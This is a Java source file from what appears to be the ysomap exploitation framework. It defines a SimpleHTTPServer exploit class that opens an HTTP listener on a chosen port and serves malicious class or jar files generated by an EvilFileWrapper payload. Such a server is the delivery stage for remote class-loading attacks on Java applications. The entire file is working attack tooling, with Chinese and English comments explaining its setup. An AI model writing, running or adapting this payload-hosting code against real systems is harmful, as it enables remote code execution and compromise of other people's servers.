package ysomap.exploits.http;

import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.core.util.HTTPHelper;
import ysomap.exploits.AbstractExploit;

import java.util.LinkedHashMap;
import java.util.Map;


/**
 * @author wh1t3P1g
 * @since 2020/2/18
 */
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(bullets = {"EvilFileWrapper"}, param = false)
@Details("Start up a SimpleHTTPServer with some evil class/jar files.»\n" +
        "\n" +
        "This exploit need to set a `EvilFileWrapper` payload to generate evil class/jar files.\n" +
        "建立一个挂载了恶意class/jar文件的HTTP服务，当前exploit需要设置一个EvilFileWrapper payload。")
public class SimpleHTTPServer extends AbstractExploit {

    @NotNull
    @Require(name = "lport", type = "int", detail = "监听端口")
    private String lport = null;

    @NotNull
    @Require(name = "path", detail = "设置uri路径, 如/<classname>.class，这里的classname必须和bullet里面的classname相同")
    private String path = null;

    @NotNull
    private Object payload;
    private String payloadName;

    private HttpServer server;

    @Override
    public void work() {
        needRunning = true;
        int p = Integer.parseInt(lport);
        if(!path.startsWith("/")){
            path = "/"+path;
        }
        try {// 创建class和jar文件的挂载
            Map<String, HttpHandler> paths = new LinkedHashMap<>();
            paths.put(path, new HTTPHelper.PayloadHandler((byte[]) payload));

            server = HTTPHelper.makeSimpleHTTPServer(p, paths);
            server.start();
            Logger.success("Opening Payload HTTPServer on " + lport);
            Logger.success("Paths "+path);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void stop() {
        if(server != null){
            server.stop(0);
            Logger.success("SimpleHTTPServer stopped");
        }
        status = Status.STOPPED;
        needRunning = false;
    }

    @Override
    public String toString() {
        return "SimpleHTTPServer{" +
                "lport='" + lport + '\'' +
                ", path='" + path + '\'' +
                ", payloadName='" + payloadName + '\'' +
                '}';
    }
}
